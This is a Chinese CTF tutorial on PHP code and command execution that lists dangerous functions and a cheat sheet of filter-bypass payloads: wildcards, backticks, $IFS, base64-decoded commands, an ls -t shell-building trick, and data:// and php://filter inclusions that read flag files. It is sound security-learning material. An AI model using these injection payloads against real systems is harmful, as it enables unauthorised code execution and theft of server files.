RCE 命令执行漏洞过滤模式基本的过滤问题联合ctf题目进行实践

news2024/12/24 9:22:10

前言

知道RCE 命令执行分为代码执行和命令执行

原理：就是用户的输入被当做命令或者代码执行了从而造成了危害

代码执行

除了eval

php代码执行漏洞的函数还有
eval()、a
ssert()、
preg_replace()、
create_function()、
array_map()、
call_user_func()
、call_user_func_array()
、array_filter()、uasort()

演示一下

x的本意不是让你执行代码而是让你搜索你想要的页码所以代码执行就是用户的输入误被当做了 php代码运行

命令执行

命令执行和上边的这个其实区别不大除此之外命令执行有system()、exec()（这个也需要输出）、shell_exec()(缺点是没有回显需要echo进行输出)、pcntl_exec()、popen()、proc_popen()（这两个需要输出不能直接的使用）、passthru()

这些函数这个需要做个快捷笔记因为ctf中大多会使用这个执行一下

这两个都有个相同点 1、可控的变量 2、相应的函数这就是为什么RCE包含这两种：就是因为两者可以互相转换：代码执行加上 system() 就可以运行命令命令执行加上代码环境一样可以运行脚本

这两者的含义还是比较简单的难的是过滤

白盒（ctf）测试

以下是我写的基本的过滤

绕过：
1、通配符 转义符  绕过 文件名被禁用
cat f??????     // ？表示占位符
cat fl\ag*       // * 表示 贪婪匹配 多个字符
2、使用``绕过  
``的意思是  在linux中执行命令
cat `ls` （查看 ls 命令下的全部 文件）


3、参数的逃逸
你让a!=flag  关我b什么事
eval($_GET[1]);&1=system('tac flag.php');  &是参数链接符

4、拼接法
a=fl;b=ag;cat $a$b;

5、如果空格也被禁用了
可以使用空参数来代替  ？：就是 这个参数如果没被定义就会被当做空执行
使用空变量$*和$@，$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag   这些都是变量但是变量没有声明所以就不会报错


%09（url传递）(cat%09flag.php)
cat${IFS}flag        //使用这个IFS
a=fl;b=ag;cat$IFS$a$b
{cat,flag}







6、编码绕过（注意一点 就是需要调用解码的函数）
如果 tac 被禁用 使用base 64 解码
`echo dGFj | base64 -d` flag
注意： `` -d 必须写
如果flag被禁也可以  
tac  `echo ZmxhZwo= | base64 -d`


7、绝活 ： 没办法再用
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
这个的原理 ： 利用shell脚本进行直接的执行 （）

這個就是使用的特性进行的 shell文件内就是 \\是换行  怕输出在一行 就会出现被过滤的情况
#  \指的是换行
#  ls -t是将文本按时间排序输出
#  ls -t >shell  将输出输入到shell文件中
#  sh将文本中的文字读取出来执行


8、异或和或 
这个就是更是ctf常客 ：过滤0-9a-zA-Z  不让你使用大多数的符号
异或：rce-xor.php & rce-xor.py
或：rce-xor-or.php & rce-xor-or.py
异或  或  就是字符的另一个表示方法

9、查看命令被禁用
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl：显示的时候，顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器，这个也可以查看
vim:一种编辑器，这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag   （取反）
当然还可以进行其他的操作   `cp flag.txt 1.txt`  直接访问就行了（这个需要权限）


10、伪协议玩法：（配合文件的包含直接无敌）
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>

当有 （） 过滤时使用 且 ; 被过滤
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

当然  如果参数的限制不多就 不用进行逃逸
?b=php://filter/read=convert.base64-encode/resource=flag.php



10、 ；被禁用 同时禁用我们的 cat  和 关键字 flag
?c=passthru('') ?>   


?c=echo `tac con*`?>

那就直接练起来